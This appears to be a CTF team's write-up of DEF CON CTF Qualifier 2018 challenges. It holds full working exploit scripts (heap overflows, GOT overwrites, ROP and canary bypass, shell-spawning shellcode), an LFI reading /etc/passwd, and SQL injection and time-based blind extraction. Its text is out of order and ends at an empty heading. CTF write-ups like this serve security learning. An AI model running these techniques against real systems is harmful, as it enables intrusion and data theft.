def modify_tires_c(radial): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("3") r.recvuntil(": ") r.sendline(str(radial))
def modify_tires_d(diameter): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("4") r.recvuntil(": ") r.sendline(str(diameter))
def modify_chassis(): r.recvuntil("E: ") r.sendline("2") r.recvuntil(": ") r.sendline("1")
def modify_engine(): r.recvuntil("E: ") r.sendline("3")
def modify_transmission(gears,ratio,gear): r.recvuntil("E: ") r.sendline("4") r.recvuntil("? ") r.sendline(str(gears)) r.recvuntil("gear ratio for gear " + str(gears) + " is ") addr = r.recvuntil(", mo")[:-4] r.recvuntil(": ") r.sendline(str(ratio)) r.recvuntil(")") r.sendline(str(gear)) return addr
def buy(): r.recvuntil("E: ") r.sendline("5")
def race(): r.recvuntil("E: ") r.sendline("6")
if __name__ == '__main__': print "start" tires(0x8000000) transmission(1) chassis(1) engine() modify_tires_w(0xffff) modify_tires_a(0xffff) modify_tires_c(0xffff) modify_tires_d(0xffff) addr = "" for i in xrange(8): addr += chr(int(modify_transmission(0xffffffffffffff70+i,0x44,0))) heap = u64(addr) - 0xe0 print "heap =", hex(heap) h = -0xa0 puts_got = 0x603020
leak = ((puts_got - heap) - 0x90 - 0x10)&0xffffffffffffffff addr = "" for i in xrange(8): addr += chr(int(modify_transmission(leak+i,0x44,0))) puts = u64(addr) libc.address = puts - libc.symbols["puts"] print "libc.address =" , hex(libc.address) exit_got = 0x0603060 magic = libc.address + 0xf1147 leak = ((exit_got - heap) - 0x90-0x10)&0xffffffffffffffff print hex(magic) for i in xrange(8): modify_transmission(leak+i,ord(p64(magic)[i]),1) buy() tires(1) r.sendline("ls")
r.interactive()```### Say Hi!
You can send anything as the flag !!`OOO{Happy Mother's Day!!}``
### exzendtential-crisis (unsolved)
After loggin in, we found a LFI vulnerability.`http://d4a386ad.quals2018.oooverflow.io/essays.php?preview&name=../../../../../etc/passwd`
We retrive these files from the server:
- All PHP source code, but `flag.php` is WAFed.- /etc/php7/apache2/php.ini (not sure, I forget the exact location)- /usr/lib/php/20151012/mydb.so (found the path in php.ini)- /var/lib/mydb/mydb.db (found the path in mydb.so)
The main problem is the customized functions, `check_redential`, `get_user_id` .... Those function use PHP extension, written in C++, in `mydb.so`.
A quick reverse engineering will find a interesting function `check_hacker_attempt`. You can found the source code [in the official repo](https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/mydb.cpp#L31-L69). the `strcpy` leads to a buffer overflow. It copies a `std::string` to a 100 byte C string.
Our main objective is to make `get_user_id()` return 1, which is the admin's user id. Exploiting the buffer overflow can [overwrite the table_name](https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/mydb.cpp#L31-L69).
Here is the evil input: `print("A"*112+"users where rowid=1;--")`
The SQL query becomes:
```select rowid from users where rowid=1;-- where username = '...' and password = '...';```
Then the query returns 1. We are the admin now. Visit `flag.php` and get the flag!
Postscript: We fail to solve this because the reversing of `strcyp` tends to be confusing here. The code below is equal to `strcpy`. However, we somehow missed this part :(
```c++v5 = str_len + 1;if ( v5 >= 8 ){ *(_QWORD *)to_check = *(_QWORD *)username; *(_QWORD *)&to_check[v5 - 8] = *(_QWORD *)&username[v5 - 8]; qmemcpy( (void *)((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL), (const void *)(username - &to_check[-((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL)]), 8LL * ((v5 + (_DWORD)to_check - (((_DWORD)to_check + 8) & 0xFFFFFFF8)) >> 3));}else if ( v5 & 4 ){ *(_DWORD *)to_check = *(_DWORD *)username; *(_DWORD *)&to_check[v5 - 4] = *(_DWORD *)&username[v5 - 4];}else if ( v5 ){ *to_check = *username; if ( v5 & 2 ) *(_WORD *)&to_check[v5 - 2] = *(_WORD *)&username[v5 - 2];}v12 = sub_34E0;v11 = (__int64 (__fastcall *)(char *, __int64, int))sub_3220;```
## Guest Chefs
### PHP Eval White-List
- run ` die("`../flag`"); `- `OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}`
### ghettohackers: Throwback
The interval of each '!' is the index of alphabet.
The text is `Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!`. First we try to find all letters on '!' and get `nwltisoos`.We try lots of possible decryptions like XOR, ord(i) - ord('!'), letters reorganization, affine cipher, Atbash cipher, and many classical ciphers but all failed.Finally, we notice that the place of '!' maybe a hint. We calculate the interval of each '!' and got `[4, 1, 18, 11, 0, 12, 15, 7, 9, 3, 0]`. We think these numbers are the index of alphabet (e.g. `4` is `d`), and write a code to print the answer.
```ori = 'Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!'sp = ori.split('!')print repr(''.join(chr(97 + len(s) - 1) for s in sp))```
### ddtek: Preview
#### reverse
* Use `IDA pro` to decompile the binary.* At first galance, we cannot get any useful information.* Use `gdb` and find out that it will mmap a new area for `real program`* There is a function which will do some xor stuff on `0x602000` and mmap an memory area for it. That is real program* In `gdb`, you can do this `dump binary memory result.bin 0x602000 0x605000`
* Now we have the real program.
#### exploit1. Use the string "HEAL /proc/self/maps" to get the code address and /lib/x86_64-linux-gnu/ld-2.23.so address2. canary is combined by code address and /lib/x86_64-linux-gnu/ld-2.23.so address 3. make the program stack overflow, bypass the canary, and use ROP to get shell
```python=from pwn import *import sysimport timeimport randomhost = 'cee810fa.quals2018.oooverflow.io'port = 31337
binary = "./preview"context.binary = binaryelf = ELF(binary)try: libc = ELF("./libc.so.6") log.success("libc load success") system_off = libc.symbols.system log.success("system_off = "+hex(system_off))except: log.failure("libc not found !")
if len(sys.argv) == 1: r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."}) #r = remote("127.0.0.1" ,4444)
else: r = remote(host ,port) r.recvuntil("Challenge: ") Challenge = r.recvuntil("\n")[:-1] r.recvuntil("n:") n = r.recvuntil("\n")[:-1] r.recvuntil("Solution:") p = process(["/usr/bin/python", "./pow.py",Challenge ,n ]) print "pow..." p.recvuntil("Solution: ") ans = p.recvuntil(" ")[:-1] r.sendline(ans)
if __name__ == '__main__': print "start" r.recvuntil("Standing by for your requests\n") r.sendline("HEAD /proc/self/maps\x00" + "A"*0x42) r.recvuntil("Here's your preview:\n") data = r.recvuntil("\n") if "/lib/x86_64-linux-gnu/ld-2" in data: ld_addr = data[:data.find("-")] r.recvuntil("\n") r.recvuntil("\n") data = r.recvuntil("\n") if "r-xp" in data: code = data[:data.find('-')] else: data = r.recvuntil("\n") code = data[:data.find('-')] elif "r-xp" in data: code = data[:data.find('-')] r.recvuntil("\n") r.recvuntil("\n") data = r.recvuntil("\n") ld_addr = data[:data.find("-")] ld_addr = int(ld_addr,16) code = int(code,16) pop_rdi = 0x00000000000010b3 + code pop_rsi_1 = 0x00000000000010b1 + code puts_got = code + 0x202020 puts_plt = code + 0x0009E0 read_plt = code + 0x000A60 pop_rsp_3 = code + 0x00000000000010ad print "code =", hex(code) print "ld_addr =" ,hex(ld_addr) canary = (code/0x1000 + ld_addr/0x1000 * 0x10000000)*0x100 print "canary =" , hex(canary) raw_input("@") r.sendline("A"*88 + p64(canary) +"A"*8+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(0) + p64(pop_rsi_1) + p64(code + 0x0202800) + p64(0) + p64(read_plt) + p64(pop_rsp_3) + p64(code + 0x0202800)) r.recvuntil("Malformed request\n")
puts = u64(r.recv(6).ljust(8,"\x00")) libc.address = puts - libc.symbols['puts'] print "libc.address =" , hex(libc.address) r.sendline("A"*24 + p64(pop_rdi) + p64(code + 0x0202800+0x30) + p64(libc.symbols['system']) + "/bin/sh\x00")
r.interactive() ```
|
# DEF CON CTF Qualifier 2018
Written by BFS
BFS consists of four CTF teams form Taiwan: Balsn, Bamboofox, DoubleSigma, KerKerYuan.
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180512-defconctfqual/) of this writeup.**
- [DEF CON CTF Qualifier 2018](#def-con-ctf-qualifier-2018) - [Amuse Bouche](#amuse-bouche) - [ELF Crumble](#elf-crumble) - [You Already Know - warmup](#you-already-know---warmup) - [Easy Pisy - crypto, web](#easy-pisy---crypto-web) - [babypwn1805 - pwn](#babypwn1805---pwn) - [sbva - Web](#sbva---web) - [Appetizers](#appetizers) - [It's-a me!](#its-a-me) - [shellql](#shellql) - [flagsifier - Reverse](#flagsifier---reverse) - [Behavior](#behavior) - [Note Oriented Programming](#note-oriented-programming) - [From The Grill](#from-the-grill) - [elastic cloud compute (memory) corruption](#elastic-cloud-compute-memory-corruption) - [Race Wars](#race-wars) - [Say Hi!](#say-hi) - [exzendtential-crisis (unsolved)](#exzendtential-crisis-unsolved) - [Guest Chefs](#guest-chefs) - [PHP Eval White-List](#php-eval-white-list) - [ghettohackers: Throwback](#ghettohackers-throwback) - [ddtek: Preview](#ddtek-preview) - [reverse](#reverse) - [exploit](#exploit)
## Amuse Bouche
### ELF CrumbleOriginal binary in range 0x05ad ~ 0x08d3 is filled with `X`. Search through all 8! permutation of fragments to get the flag.
### You Already Know - warmup* Open the problem -> F12 -> Network -> Reopen the problem -> See the flag. `OOO{Sometimes, the answer is just staring you in the face. We have all been there}`
### Easy Pisy - crypto, web
- Service
* First service : Server will Recognized pdf input via OCR and sign `(by openssl_sign($data, $signature, $privkey)`, but it will reject to sign on EXECUTE command)
* Second one : Give the signed value and pdf, this service will execute the command(extracted by ocr) if the signed verify.
- We found that this function will `sha1(data)` before signing.
Therefore, draw two command on picture,and put them into the pdf, Google released last year, to get two pdf with sha1-collision.
1. send the picutre 1 (`without EXECUTE`) to first service to `get the signature`
2. pass this signature and sha1-collision pdf ( with `EXECUTE cat<flag`) to get the flag.
[python script](https://github.com/sonickun/sha1-collider/blob/master/collider.py)
### babypwn1805 - pwn* Overwrite the pointer of program name, and trigger `SSP` -> leak information.* Get serveral `libc`.* Overwite `GOT read` with `onegadget` -> with probability 1/16 (correct libc).* `/opt/ctf/babypwn/home/flag`.* `OOO{to_know_the_libc_you_must_become_the_libc}`
```python=#!/usr/bin/env pythonfrom pwn import *import sysimport structimport hashlibimport randomfrom threading import Timer
# OOO{to_know_the_libc_you_must_become_the_libc}
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
def hit(): cmd = 'id;LD_PRELOAD='';' cmd += 'cat /opt/ctf/babypwn/home/flag;' cmd += 'ls -al /opt/ctf/babypwn/home/;' cmd += 'source /opt/ctf/babypwn/flag.txt 2>&1;' #cmd += 'python -c \'import pty; pty.spawn("/bin/bash")\'' y.sendline( cmd ) print y.recv( 2048 )
host , port = 'e4771e24.quals2018.oooverflow.io' , 31337y = remote( host , port )
y.recvuntil( ': ' )challenge = y.recvline().strip()y.recvuntil( ': ' )n = int( y.recvline() )y.sendlineafter( ':' , str( solve_pow(challenge, n) ) )
success( 'Go' )
t = 0.3y.recvuntil( 'Go\n' )
for i in xrange( 0x10000 ): y.send( p64( 0xffffffffffffffc8 ) ) p = 0xae77 y.send( p16( p ) ) t = Timer(1.0, hit) t.start() y.recvuntil( 'Go' , timeout=1 ) t.cancel()```
### sbva - Web
This is one of the easiest challenges in the comptition.
First, we are given the admin's username and password to login, but the server will return `Incompatible browser detected`. How does the server derect our browser? A quick guess is through the `User-Agent` header. So what if the header does not contain the user agent string?
``` sh$ curl 'http://0da57cd5.quals2018.oooverflow.io/login.php' -d '[email protected]&password=admin' -H 'User-Agent:'`
<br />Notice: Undefined index: HTTP_USER_AGENT in /var/www/html/browsertest.php on line 3
<html> <style scoped> h1 {color:red;} p {color:blue;} </style> <video id="v" autoplay> </video> <script> if (navigator.battery.charging) { console.log("Device is charging.") } </script></html>```
A PHP error occurs above, so the server actually infers our browser through the user agent header. However, there are various user-agent. It's sorts of silly to try each of them since the server might detect the version number as well.
In order to reduce possible user agent, [navigator.battery](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/battery) in javascript is an important clue. It seems that only Chrome and Firefox support this.
Let's try Firefox with different version number first. The Firefox user agent spcification is [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox), though I'm just blindly trying the possibile version number without following the specification.
```python#!/usr/bin/env python3# Python 3.6.5import requestsfrom itertools import product
s = requests.session() for i, j in product(range(0, 6), range(0, 51)): agent = f'Mozilla/{i}.0 (Windows NT 10.0; WOW64; rv:{j}.0) Gecko/20100101 Firefox/{j}.0' headers={'User-Agent': agent} r = s.post('http://0da57cd5.quals2018.oooverflow.io/login.php', data=dict(username='[email protected]', password='admin'), headers=headers) print(r.text, i, j)```
Surprisingly, we get the flag when the user agent is `Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0`.
Flag: `OOO{0ld@dm1nbr0wser1sth30nlyw@y}`
## Appetizers
### It's-a me!
* When odering pizza, Mario checks whether the pineapple Emoji Unicode (\xF0\x9F\x8D\x8D) exists for each ingridient, so we can split the Unicode into two ingridients ('\xF0\x90\xF0\x9F' and '\x8D\x8D') to bypass Mario's check* After cooking a pizza with fake pinapple (’\xF0\x90\xF0\x9F’ and ‘\x8D\x8D’), it will trigger a heap overflow vulnerability.* By ordering and cooking some pizzas between the ordering and cooking of the fake pinapple pizza, we can make the heap overflow overwrite the pointer to the ingredient. Since at first we don't have any addresses and the read function appends null byte at the end, we make it so that the pointer to the ingredient with LSB overflowed by 0x00 points to a heap address. Cook the pizza and we leak heap address.* We use the same way to leak libc address, but since now we have heap address, we don't have to partial overwrite the pointer to the ingridient with null byte anymore.* The way to hijack control flow is similar too. There is a pointer to a function pointer on each pizza cooked, which is call when they are admired. We overflow that with one_gadget.* `OOO{cr1m1n4l5_5h0uld_n07_b3_r3w4rd3d_w17h_fl4gs}`
```python#!/usr/bin/env python2
from pwn import *from IPython import embedfrom subprocess import check_outputimport re
context.arch = 'amd64'
r = remote('83b1db91.quals2018.oooverflow.io', 31337)
def PoW(): r.recvuntil('Challenge: ') x = r.recvline().strip() r.recvuntil('n: ') xx = r.recvline().strip() x = subprocess.check_output(['./pow.py', x, xx]) xx = re.findall('Solution: (.*) ->', x)[0] r.sendlineafter('Solution:', xx)
PoW()
def new(name): r.sendlineafter('Choice:', 'N') r.sendlineafter('name?', name)
def login(name): r.sendlineafter('Choice:', 'L') r.sendlineafter('name?', name)
def order(pn, ign, igs): r.sendlineafter('Choice:', 'O') r.sendlineafter('pizzas?', str(pn)) for i in range(pn): r.sendlineafter('ingredients?', str(ign[i])) for j in range(ign[i]): r.sendlineafter('ingridient', flat(igs[i][j]))
def cook(decl): r.sendlineafter('Choice:', 'C') r.sendlineafter('explain', decl)
def admire(): r.sendlineafter('Choice:', 'A')
def leave(): r.sendlineafter('Choice:', 'L')
def please(payload): r.sendlineafter('Choice:', 'P') r.sendlineafter('yourself:', payload)
pineapple = 0x8d8d9ff0tomato = 0x858d9ff0chicken = 0x94909ff0banana = 0x8c8d9ff0poo = 0xa9929ff0
new('A')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()
new('B'*0x30)order(1, [1], [[tomato]])leave()
login('B'*0x30)cook('a'*290)leave()
new('C'*0x50)n = 4order(1, [n], [['a'*20]*n])leave()
login('A')cook('a')please('C'*32)
login('C'*0x50)cook('a')x = r.recvuntil('USER MENU')xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0]heap = u64(xx.ljust(8, '\x00'))-0x11e30print 'heap:', hex(heap)
# exaust heapleave()new('D')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()for i in range(9): new(chr(0x45+i)) order(1, [1], [[tomato]]) leave()
new('N')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()
new('O'*0x30)n = 4order(1, [n], [['a'*16]*n])leave()
login('M')cook('a'*290)leave()
login('N')cook('a')#raw_input("@3")please('C'*24+flat( 0x91, heap+0x132c8, 0x10, 0x10, 0, heap+0x132c8,)+'\x10')
login('O'*0x30)cook('a')x = r.recvuntil('USER MENU')xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0][:6]libc = u64(xx.ljust(8, '\x00'))-0x3c4b78print 'libc:', hex(libc)system = libc+0x45390magic = libc+0xf1147leave()
login('D')cook('a')#raw_input("@2")please(flat( [0]*3, 0x21, heap+0x138f0, 0, 0, 0x41, heap+0x138f0+0x10, heap+0x13930, magic,))login('O'*0x30)admire()
r.interactive()
```
### shellql
* We can upload our shellcode and it will be executed* They set prctl(22, 1LL); so we can only trigger `read` `write` `exit`* We can communicate with mysql via fd 4* According to [this](https://dev.mysql.com/doc/internals/en/com-query.html), we can forge a correct mysql packet* However, we cannot read from mysql* Time to use time-based attack`SELECT 1 from flag where (select substring(flag,1,4) from flag) = "OOO{" and SLEEP(10);`
* The exploit script:
```python# coding: utf-8from pwn import *import requestsimport stringimport hashlibcontext.arch='amd64'def mdd5(ss): print ss a=hashlib.md5() a.update(ss) return a.hexdigest()def run(code, timeout=1): s = asm(code) assert( '\0' not in s and len(s) < 1000) try: req = requests.post('http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php', data={ 'shell': s }, timeout=timeout) except requests.exceptions.ReadTimeout: print ('Timeout') return 1 else: return 0
def qqq(payload): lenn=p32(len(payload)+1)[0] pp=lenn+'\x00\x00\x00\x03'+payload a=run(shellcraft.write(4, pp, len(pp)) + 'xor rax, rax;' + shellcraft.read(4, 'esp', 4) + 'inc rax; cmp rax, 1; jge .+0; ret', timeout=4) return a
flag=""for i in range(70): for j in "y SQL"+string.printable: if qqq('SELECT 1 from flag where (select substring(flag,1,'+str(len(flag)+1)+') from flag) = "'+flag+j+'" and SLEEP(10);') == 1: flag+=j print flag break
flag2="OOO{"for i in range(4,70): if qqq('SELECT 1 from flag where (select md5(substring(flag,'+str(i)+',1)) from flag) = "'+mdd5(flag[i].upper())+'" and SLEEP(10);') == 1: flag2+=flag[i].upper() else: flag2+=flag[i].lower() print flag2
## flag is OOO{shellcode and webshell is old news, get with the times my friend!}```
### flagsifier - Reverse* Part 1 ##### Behavior * Input is composed of 38 28x28 handwritten English characters. * Random combination of characters will be predicted as class 3. * Repeat a character 38 times will be predicted as class 14~39, which is class A~Z. * Using gradient ascent on input image will not produce readable picture. When we add a constraint that all 38 characters should be the same, class 14~39 can generate input with score 1, but failed on class 1~13. Implies that class 1~13 is consists of multiple characters. * Start with random combination of characters, we use Simulated Annealing to replace characters in input image. We can generate input image for each class with very high score. The images is not unique, but will be similar to ground truth. * Class 0 starts with a lot of `O` that isn't like a flag. * Class 1 is `OOOTHISISA.....MESSAGETOWASTEYOURTIME` which is a fake flag. * Class 2 starts with `OOO`. * Class 3~13 doesn't start with `OOO`. * We guessed Class 2 is true flag, so we generate a lot of possible input images to get probabilities of each character at each position. * Code:
```python#!/usr/bin/python3import sys
dim = int(sys.argv[1])
flag = '......................................'
reset = False # Change to False when known part is long enough# flag = 'OOOOOOOOOOOOOOOOI.....................' # dim = 0# flag = 'OOOOTHISISA.....MESSAGETOWASTEYOURTIME' # dim = 1flag = 'OOO.............INTELLIGENCEISREQUIRED' # dim = 2
import numpy as npfrom PIL import Imageimport osfrom tqdm import tqdm, trangeimport randomfrom keras.models import load_model, Model
model = load_model('model.h5')model = Model(input=model.input, output=model.layers[-2].output)
data = [np.asarray(Image.open('sample_%d.png' % i)).reshape(28, 1064).astype(np.float) for i in range(10)]data = [im for d in data for im in np.split(d, 38, axis=1)]char = ''.join([ 'RUNNEISOSTRICHESOWNINGMUSSEDPURIMSCIUI', 'MOLDERINGIINTELSDEDICINGCOYNESSDEFIECT', 'AMADOFIFESINSTIIIINGGREEDIIVDISIOCATIN', 'HAMIETSENSITIZINGNARRATIVERECAPTURINGU', 'EIECTROENCEPHAIOGRAMSPALATECONDOIESPEN', 'SCHWINNUFAMANAGEABLECORKSSEMICIRCIESSH', 'BENEDICTTURGIDITYDSYCHESPHANTASMAGORIA', 'TRUINGAIKALOIDSQUEILRETROFITBIEARIESTW', 'KINGFISHERCOMMONERSUERIFIESHORNETAUSTI', 'LIQUORHEMSTITCHESRESPITEACORNSGOALREDI',])data = list(zip(data, char))
def softmax(x): """Compute softmax values for each sets of scores in x.""" e_x = np.exp(x - np.max(x)) return e_x / e_x.sum()
for z in trange(100): if reset or z == 0: img, text = zip(*random.sample(data, 38)) img = np.concatenate(img, 1).reshape(1, 28, 1064, 1) text = list(text) r = model.predict([img])[0] score = r[dim] bar = trange(1000) bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score) for i in bar: cur = img.copy() while True: idx = random.randrange(0, 38) im, c = random.sample(data, 1)[0] if text[idx] != flag[idx] or flag[idx] == c: break cur[0,:, idx*28:(idx+1)*28,0] = im r = model.predict([cur])[0] s = r[dim] if ( text[idx] != flag[idx] and flag[idx] == c ) or s > score or random.random() < (100/(i+100 + z *10)) ** 4: text[idx] = c bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score) score = s img = cur tqdm.write(''.join(text)) bar.close()```
* Part 2 * Use dictionary and trie to find all the possible sentences. * Dictionary: https://raw.githubusercontent.com/first20hours/google-10000-english/master/google-10000-english.txt * Remember to remove the useless words that length is in range 1~3. * Code:
```C++ #include<bits/stdc++.h> #define f first #define s second using namespace std; //typedef pair<int,int>par; typedef pair<double,double>par; int nod[1000005][26],id=2; bool ok[1000005]; string ans; vector<int>ve[38]; void F(int nw,int now){ if(nw==38){ if(now==1)cout<<ans<<endl; return ; } for(int x:ve[nw]){ if(!nod[now][x])continue; ans.push_back('A'+x); F(nw+1,nod[now][x]); if(ok[nod[now][x]]){ ans.push_back(' '); F(nw+1,1); ans.pop_back(); } ans.pop_back(); } } int main(){ string s; int count=0; while(cin>>s){ if(s=="0")break; if(++count>1000&&s.length()<=3)continue; int now=1; for(char &c:s){ c|=32; if(!nod[now][c-'a']) nod[now][c-'a']=id++; now=nod[now][c-'a']; } ok[now]=1; } while(cin>>s){ if(s=="0")break; for(char &c:s) c|=32; for(int i=0;i<38;i++) ve[i].push_back(s[i]-'a'); } for(int i=0;i<38;i++) sort(ve[i].begin(),ve[i].end()), ve[i].resize(unique(ve[i].begin(),ve[i].end())-ve[i].begin()); F(0,1); //for(int i=0;i<38;i++) return 0; } ```
* input
``` [The Dictionary] 0 OOOTOYEUUTHTNTICINTELLIGENCEISREQUIRED OOOTOYEGUTHTNTICINTELLIGENCEISREQUIRED OOOIOYCUUTUCNTICINTELLIGENCEISREQUIRED OOOSOYEUUCUTNTICINTELLIGENCEISREQUIRED OOOTOYCGLCHENTICINTELLIGENCEISREQUIRED OOOTOYCUUCUCNTUCINTELLIGENCEISREQUIRED OOOIOYEULTUTNTICINTELLIGENCEISREQUIRED OOOSOYCULTUCNTICINTELLIGENCEISREQUIRED OOOTOYEAUTUTWCICINTELLIGENCEISREQUIRED OOOSOYEOUTUTNTICINTELLIGENCEISREQUIRED OOOSOYCGHTUENTICINTELLIGENCEISREQUIRED OOOTOYCGLTYCNTICINTELLIGENCEISREQUIRED OOOTOYEUUTUTNTICINTELLIGENCEISREQUIRED OOOTOYEAUTUTNCICINTELLIGENCEISREQUIRED OOOSOYCUUTHCNTIOINTELLIGENCEISREQUIRED OOOSOORONTNCNTIOINTELLIGENCEISREQUIRED OOOSOMCSHTGCWTICINTELLIGENCEISREQUIRED OOOTOMEOGTSTNTITINTELLIGENCEISREQUIRED OOOIOOEHUTUTNTITINTELLIGENCEISREQUIRED OOOINOEUUTATHTICINTELLIGENCEISREQUIRED OOOTCMCSNSATNTICINTELLIGENCEISREQUIRED OOOTGWRSUTNCNTICINTELLIGENCEISREQUIRED OOOSOQEAUIUCWSICINTELLIGENCEISREQUIRED OOOTOOECHIUCNTIGINTELLIGENCEISREQUIRED OOOTOWEGHSOTHTIEINTELLIGENCEISREQUIRED OOOSOMEGNTOENTILINTELLIGENCEISREQUIRED OOOSCOCGNTHTNTILINTELLIGENCEISREQUIRED OOOSONEGNTNCNTICINTELLIGENCEISREQUIRED OOOSCOCYNTOTUTICINTELLIGENCEISREQUIRED OOOSDUEONCOTLTIOINTELLIGENCEISREQUIRED OOOTDUCONTNTLTIDINTELLIGENCEISREQUIRED OOOTCMCGNCNTNTITINTELLIGENCEISREQUIRED OOOTQYFGNTATNTUEINTELLIGENCEISREQUIRED OOOSDUECLTUTNTICINTELLIGENCEISREQUIRED OOOTOWCUNTUTNTILINTELIIGENCEISREOUIRED OOOTOMSGUTHENTICINTELLIGENCEISREOUIRED OOOTOUTGLTOENCUCINTELLIGENCEISREQUIRED OOOTOUEUUTNENTICINTELLIGENCEISREQUIRED OOOTOMEGUTOENCICINTELLIGENCEISREQUIRED OOOTONEGLTUCNTIOINTELLIGENCEISREQUIRED OOOTOOEANTSENTICINTELLIGENCEISREQUIRED OOOTOUEUUTUELIICINTELLIGENCEISREQUIRED OOOTOMCAUTYENCICINTELLIGENCEISREQUIRED OOOTOYCCNTYTWTICINTELLIGENCEISREQUIRED OOOTOOCANCUTNTICINTELLIGENCEISREQUIRED OOOTOMEINIHENTICINTELLIGENCEISREQUIRED OOOTOYEUNTYTNTICINTELLIGENCEISREQUIRED OOOTOOEUUTHCNTICINTELLIGENCEISREQUIRED OOOTOMCULTUTNTIOINTELLIGENCEISREQUIRED OOOTOMEYNTUENTICINTELLIGENCEISREQUIRED OOOYOMEUMTURMIJCINTELLIGENCEISREQUIRED OOOIDMEUMTURWYJCINTELLIGENCEISREQUIRED OOOLDMEUMTURWYLCINTELLIGENCEISREQUIRED 0 ``` * Flag: `OOOSOMEAUTHENTICINTELLIGENCEISREQUIRED`
### Note Oriented Programming* Setup the value on the stack and call sys_sigreturn* After that, eax = 0x3 ebx=0x0 ecx=0x6060654f edx=0x4f4f4f4f cs=0x23 ss=0x2b ds=0x2b* Now eip is 0x60606565 pointer to "int 0x80" to call sys_read* Then, write shellcode on the 0x6060654f to get shell
```python=from __future__ import print_functionimport sysimport structimport hashlibfrom pwn import *# inspired by C3CTF's POW
table = ['A' , 'A#' , 'B' , 'C' , 'C#' , 'D' , 'D#' , 'E' , 'F' , 'F#' , 'G' , 'G#']
def val(x): a = table.index(x[:-1])*1.0 b = float(x[-1]) return (2.0**(b+a/12.0))*27.5
cmd = ["F9","G0"]*0xecmd += ["G9","G0"]*0x40cmd += ["A2","G0","A0","G0"]cmd += ["G0","G0"]*0xbcmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"]cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"]*0x17cmd += ["G9","G0"]*0x6cmd += ["A2","F8"] cmd += ["A0","G0"]cmd += ["A4","A9","E0","A4","D9","E0"]cmd += ["A0","G1"] cmd += ["A0","G2"] cmd += ["A4","A9","E0","A4","D9","E0","A2","F8"]cmd += ["A4","A9","E0","A4","B9","E0"] cmd += ["A0","G3"] cmd += ["A4","A9","E0","A4","B9","E0"] cmd += ["A0","G4"] cmd += ["A0","G5"] cmd += ["A0","G6"] cmd += ["G9","G0"]*6cmd += ["G0","G0"]*8 cmd += ["G9","G0"]cmd += ["A2","F8"]cmd += ["A0","G0"]cmd += ["A0","G1"] cmd += ["A4","A9","E0","A4","D9","E0"] cmd += ["A0","G2"] cmd += ["A0","G3"]cmd += ["A4","A9","E0","A4","D9","E0","A2","F9","A2","F2","A4","A9","E0","A4","F9","E0"]cmd += ["A0","G4"]cmd += ["A2","F9","A2","F2","A4","A9","E0","A4","F9","E0","A2","F8"] cmd += ["G9","G0"]*4cmd += ["G0","G0"]*0xbcmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"] cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"] cmd += ["G0","G0"]*0xccmd += ["F9","G0"]*0x7 cmd += ["A2","F8","A4","A9","E0","A4","B9","E0","G2","G0"]cmd += ["D9","G0"]*(0x70-0x1f)+["D#7"]*0x1f
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
if __name__ == '__main__': r = remote("4e6b5b46.quals2018.oooverflow.io",31337) r.recvuntil("Challenge: ") challenge = r.recvline()[:-1] r.recvuntil("n: ") n = int(r.recvline()[:-1]) print('Solving challenge: "{}", n: {}'.format(challenge, n))
solution = solve_pow(challenge, n) print('Solution: {} -> {}'.format(solution, pow_hash(challenge, solution))) r.sendlineafter("Solution:",str(solution))
for c in cmd: r.send(p16(val(c)))
r.send(p16(0x0))
payload = "\x90"*0x18 payload += asm(""" mov esp,0x40404a00 push 0x0068732f push 0x6e69622f mov eax,0xb mov ebx,esp xor ecx,ecx xor edx,edx int 0x80 """) r.send(payload) r.interactive()
```## From The Grill
### elastic cloud compute (memory) corruption
